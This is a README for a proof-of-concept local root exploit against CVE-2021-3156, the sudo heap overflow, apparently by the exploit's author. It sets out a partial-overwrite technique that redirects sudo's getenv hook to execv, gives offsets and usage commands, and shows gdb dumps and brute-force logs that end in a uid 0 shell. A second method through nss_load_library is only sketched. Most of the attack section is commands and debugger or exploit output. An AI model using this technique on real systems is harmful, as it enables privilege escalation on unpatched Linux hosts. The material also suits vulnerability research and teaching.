CVE-2021-3156 sudo vulnerability that affects most linux systems

Introduction

This PoC is an exploit for the CVE-2021-3156 sudo vulnerability that affects most linux systems due to a heap-based buffer overflow.

ATTENTION: This is just a Proof of Concept, not a full reliable exploit, so this might only work on very specific versions of both Ubuntu and sudo

For a reliable exploit, an exploit compatible with multiple version should contain their specific offsets and needed inputs.

The Ubuntu and sudo version I am using are listed at the botton of this page.

This exploit takes advantage of the partial overwrite technique to bypass ASLR, but to perform it a bruteforce is required.

To reach code execution aproximately 4096 tries are needed.

Usage:

$ chmod +x ./exp.sh
$ ./exp.sh

process_hooks_getenv() CURRENT method

The exploit being developed will follow the following scenario:

  1. Keep tcache heap holes at the LC_* locale chunks, so when user_args = malloc(size); is performed, one of those chunks is returned, allowing us to overwrite the rest of heap chunks from that point
  2. Search the offset and position of hooks->u.getenv_fn(), this will be the function we will use to perform the partial overwrite to redirect control flow to an execv() located at sudoers.so (which is loaded in the memory space)
  3. Craft the exploit with a bruteforce for the partial overwrite (2 bytes)
lockedbyte@pwn:~$ objdump -D /usr/lib/sudo/sudoers.so -Mintel | grep "<execv"
0000000000008a00 <execv@plt>:
    8a04:	f2 ff 25 65 55 05 00 	bnd jmp QWORD PTR [rip+0x55565]        # 5df70 <execv@GLIBC_2.2.5>
   17d1a:	e8 e1 0c ff ff       	call   8a00 <execv@plt>

I am actually jumping to 0x8a04 to avoid that NULL byte.

Reached exploitation point

Program received signal SIGSEGV, Segmentation fault.
0x0000555555566502 in ?? ()
rax            0x0                 0
rbx            0x555555583650      93824992425552
rcx            0x7                 7
rdx            0x4242424242424242  4774451407313060418
rsi            0x7fffffffe770      140737488349040
rdi            0x7ffff797464d      140737347274317
rbp            0x7ffff797464d      0x7ffff797464d
rsp            0x7fffffffe770      0x7fffffffe770
r8             0x7ffff7f61081      140737353486465
r9             0x7fffffffe6d0      140737488348880
r10            0xffffffff          4294967295
r11            0x202               514
r12            0x7fffffffe770      140737488349040
r13            0x7fffffffe7b0      140737488349104
r14            0x7fffffffe818      140737488349208
r15            0x2                 2
rip            0x555555566502      0x555555566502
eflags         0x10206             [ PF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
k0             0x0                 0
k1             0x0                 0
k2             0x0                 0
k3             0x0                 0
k4             0x0                 0
k5             0x0                 0
k6             0x0                 0
k7             0x0                 0
=> 0x555555566502:	callq  *0x8(%rbx)
(gdb) i r rbx
rbx            0x555555583650      93824992425552
(gdb) x/8x 0x555555583650
0x555555583650:	0x42424242	0x42424242	0x42424242	0x42424242
0x555555583660:	0x42424242	0x42424242	0x42424242	0x42424242
(gdb) 

Attacker controlled data present in the hooks target struct, allowing us an arbitrary RIP value

gef➤  p execv
$1 = {int (const char *, char * const *)} 0x7ffff7e50450 <execv>
gef➤  p *hook
$2 = {
  entries = {
    sle_next = 0x0
  },
  u = {
    generic_fn = 0x7ffff71f7a20 <sudoers_hook_getenv>,
    setenv_fn = 0x7ffff71f7a20 <sudoers_hook_getenv>,
    unsetenv_fn = 0x7ffff71f7a20 <sudoers_hook_getenv>,
    getenv_fn = 0x7ffff71f7a20 <sudoers_hook_getenv>,
    putenv_fn = 0x7ffff71f7a20 <sudoers_hook_getenv>
  },
  closure = 0x0
}
gef➤  p hook.u->getenv_fn = 0x7ffff7e50450
$3 = (sudo_hook_fn_getenv_t) 0x7ffff7e50450 <execv>
gef➤  c
Continuing.
process 1759302 is executing new program: /home/lockedbyte/Desktop/exploits/CVE-2021-3156/sudo-1.8.31/SYSTEMD_ONLY_USERDB
Error in re-setting breakpoint 1: No source file named hooks.c.
# id
[Detaching after fork from child process 1759317]
uid=0(root) gid=0(root) groups=0(root)
# 

Simulating hijack to execv() (libc one, not the PLT at sudoers.so)

hook struct address operated at:

   0x555555564ff0 <process_hooks_getenv+64> mov    rbx, QWORD PTR [rbx]
   0x555555564ff3 <process_hooks_getenv+67> test   rbx, rbx
   0x555555564ff6 <process_hooks_getenv+70> je     0x55555556500d <process_hooks_getenv+93>
 → 0x555555564ff8 <process_hooks_getenv+72> mov    rdx, QWORD PTR [rbx+0x10]
   0x555555564ffc <process_hooks_getenv+76> mov    rsi, r12
   0x555555564fff <process_hooks_getenv+79> mov    rdi, rbp
   0x555555565002 <process_hooks_getenv+82> call   QWORD PTR [rbx+0x8]
   0x555555565005 <process_hooks_getenv+85> lea    edx, [rax+0x1]
   0x555555565008 <process_hooks_getenv+88> and    edx, 0xfffffffd

After the development of a working PoC, the partial overwrite was successful:

$rax   : 0x0               
$rbx   : 0x000055607b638b90  →  0x20208a0420002042 ("B "?)
$rcx   : 0x7               
$rdx   : 0x0               
$rsp   : 0x00007ffcb5b1de58  →  0x0000556079797505  →   lea edx, [rax+0x1]
$rbp   : 0x00007f1f0bbe564d  →  "SUDO_EDITOR"
$rsi   : 0x00007ffcb5b1de60  →  0x0000000000000000
$rdi   : 0x00007f1f0bbe564d  →  "SUDO_EDITOR"
$rip   : 0x7f1f0b008a04    
$r8    : 0x00007f1f0c1d2081  →  "-> %s @ %s:%d"
$r9    : 0x00007ffcb5b1ddc0  →  0x0000003000000028 ("("?)
$r10   : 0xffffffff        
$r11   : 0x202             
$r12   : 0x00007ffcb5b1de60  →  0x0000000000000000
$r13   : 0x00007ffcb5b1dea0  →  0x0000000000000000
$r14   : 0x00007ffcb5b1df08  →  0x802a75732b4ae100
$r15   : 0x4               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────
0x00007ffcb5b1de58│+0x0000: 0x0000556079797505  →   lea edx, [rax+0x1] ← $rsp
0x00007ffcb5b1de60│+0x0008: 0x0000000000000000 ← $rsi, $r12
0x00007ffcb5b1de68│+0x0010: 0x802a75732b4ae100
0x00007ffcb5b1de70│+0x0018: 0x0000000000000000
0x00007ffcb5b1de78│+0x0020: 0x00007ffcb5b1def0  →  0x00007f1f0bbee9e8  →  "../../../plugins/sudoers/rcstr.c"
0x00007ffcb5b1de80│+0x0028: 0x00007f1f0bbe564d  →  "SUDO_EDITOR"
0x00007ffcb5b1de88│+0x0030: 0x00007ffcb5b1df98  →  0x0000000000000000
0x00007ffcb5b1de90│+0x0038: 0x00007ffcb5b1df08  →  0x802a75732b4ae100
────────────────────────────────────────────────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x7f1f0b008a04
────────────────────────────────────────────────
[#0] Id 1, Name: "sudoedit", stopped 0x7f1f0b008a04 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────
gef➤

As you can see, we successfully got control over RIP partially (2 arbitrary bytes + a NULL): 0x7f1f0b008a04

Those arguments for hook.u->getenv_fn() can be reused as they are fully compatible with the execv() ones.

First argument:

$rdi : 0x00007f1f0bbe564d → "SUDO_EDITOR"

rdi points to a string, which in execv() coincides with the binary path to be executed

Second argument:

$rsi : 0x00007ffcb5b1de60 → 0x0000000000000000

rsi points to a place where a NULL pointer is stored, thus being valid for our call.

Fortunately, we accomplish the needed conditions to execute a binary called SUDO_EDITOR in the same path we are executing the exploit.

Then SUDO_EDITOR will be the callback that execv() will execute as root.

Result:

[i] Try 2833
[.] crafting payload...
[.] triggering heap overflow...
./exp.sh: line 3: 40278 Segmentation fault      ./exploit
[i] Try 2834
[.] crafting payload...
[.] triggering heap overflow...
./exp.sh: line 3: 40279 Segmentation fault      ./exploit
[i] Try 2835
[.] crafting payload...
[.] triggering heap overflow...
./exp.sh: line 3: 40280 Segmentation fault      ./exploit
[i] Try 2836
[.] crafting payload...
[.] triggering heap overflow...
./exp.sh: line 3: 40281 Segmentation fault      ./exploit
[i] Try 2837
[.] crafting payload...
[.] triggering heap overflow...
./exp.sh: line 3: 40282 Segmentation fault      ./exploit
[i] Try 2838
[.] crafting payload...
[.] triggering heap overflow...
./exp.sh: line 3: 40283 Segmentation fault      ./exploit
[i] Try 2839
[.] crafting payload...
[.] triggering heap overflow...
./exp.sh: line 3: 40284 Segmentation fault      ./exploit
[i] Try 2840
[.] crafting payload...
[.] triggering heap overflow...
[+] callback executed!
[+] we are root!
# id
uid=0(root) gid=0(root) groups=0(root)
#

nss_load_library() method

— PoC for this method has not yet been implemented —

As the Qualsys advisory says, this method consists on corrupting the ni->library pointer to satisfy the conditional at nsswitch.c:322, thus forcing a call to nss_new_service() to avoid the crash at nsswitch.c:336.

Then overwrite the systemd\x00 with any string like “X/X”, that way:

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

We would be crafting a library name, which will then be passed to __libc_dlopen.

If we can trick it to load a custom library, it will get loaded and then executed (with root privileges).

Reached exploitation point

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e9f4ee in nss_load_library (ni=ni@entry=0x555555582900) at nsswitch.c:344
344  nsswitch.c: No such file or directory.
(gdb) rax            0x0                 0
rbx            0x42424242424242    18650200809816642
rcx            0x55555557f010      93824992407568
rdx            0x0                 0
rsi            0x0                 0
rdi            0x555555582900      93824992422144
rbp            0x7fffffffe150      0x7fffffffe150
rsp            0x7fffffffe100      0x7fffffffe100
r8             0x55555558d620      93824992466464
r9             0x7fffffffe000      140737488347136
r10            0xffffffff          4294967295
r11            0x0                 0
r12            0x555555582900      93824992422144
r13            0x7fffffffe168      140737488347496
r14            0x555555582928      93824992422184
r15            0x55555558d620      93824992466464
rip            0x7ffff7e9f4ee      0x7ffff7e9f4ee <nss_load_library+46>
eflags         0x10246             [ PF ZF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
k0             0x0                 0
k1             0x0                 0
k2             0x0                 0
k3             0x0                 0
k4             0x0                 0
k5             0x0                 0
k6             0x0                 0
k7             0x0                 0
(gdb) => 0x7ffff7e9f4ee <nss_load_library+46>:  cmpq   $0x0,0x8(%rbx)

Additional Arbitrary RIP crash

This is just an additional found crash, which seems no useful as we can just change 5 bytes of RIP address

Program received signal SIGSEGV, Segmentation fault.
0x0000004242424242 in ?? ()
rax            0x0                 0
rbx            0x555555587140      93824992440640
rcx            0x7                 7
rdx            0x0                 0
rsi            0x7fffffffe570      140737488348528
rdi            0x7ffff796e64d      140737347249741
rbp            0x7ffff796e64d      0x7ffff796e64d
rsp            0x7fffffffe568      0x7fffffffe568
r8             0x7ffff7f61081      140737353486465
r9             0x7fffffffe4d0      140737488348368
r10            0xffffffff          4294967295
r11            0x202               514
r12            0x7fffffffe570      140737488348528
r13            0x7fffffffe5b0      140737488348592
r14            0x7fffffffe618      140737488348696
r15            0x2                 2
rip            0x4242424242        0x4242424242
eflags         0x10202             [ IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
k0             0x0                 0
k1             0x0                 0
k2             0x0                 0
k3             0x0                 0
k4             0x0                 0
k5             0x0                 0
k6             0x0                 0
k7             0x0                 0
=> 0x4242424242:	./arb_rip_crash.gdb:15: Error in sourced command file:
Cannot access memory at address 0x4242424242

Found crashes

  • set_cmnd() -> SIGSEGV (sig 11)
  • unlink_chunk() -> SIGSEGV (sig 11)
  • __strcmp_avx2() -> SIGSEGV (sig 11)
  • __memcmp_avx2_movbe() -> SIGSEGV (sig 11)
  • iolog_deserialize_info() -> SIGSEGV (sig 11)
  • __tzstring_len() -> SIGSEGV (sig 11)
  • _int_free() -> SIGSEGV (sig 11)
  • free_members() -> SIGSEGV (sig 11)
  • __strcasecmp_l_avx() -> SIGSEGV (sig 11)
  • process_hooks_getenv() -> SIGSEGV (sig 11)
  • nss_load_library() -> SIGSEGV (sig 11)

Version

The tests and develop are being performed:

Ubuntu:

$ uname -a
Linux pwn 5.8.0-38-generic #43~20.04.1-Ubuntu SMP Tue Jan 12 16:39:47 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

and

$ uname -a                                                                                                                                                      │
Linux ubuntu-pwn 5.4.0-51-generic #56-Ubuntu SMP Mon Oct 5 14:28:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux     

Sudo version:

$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

More Information

For more information visit the oficial qualsys advisory.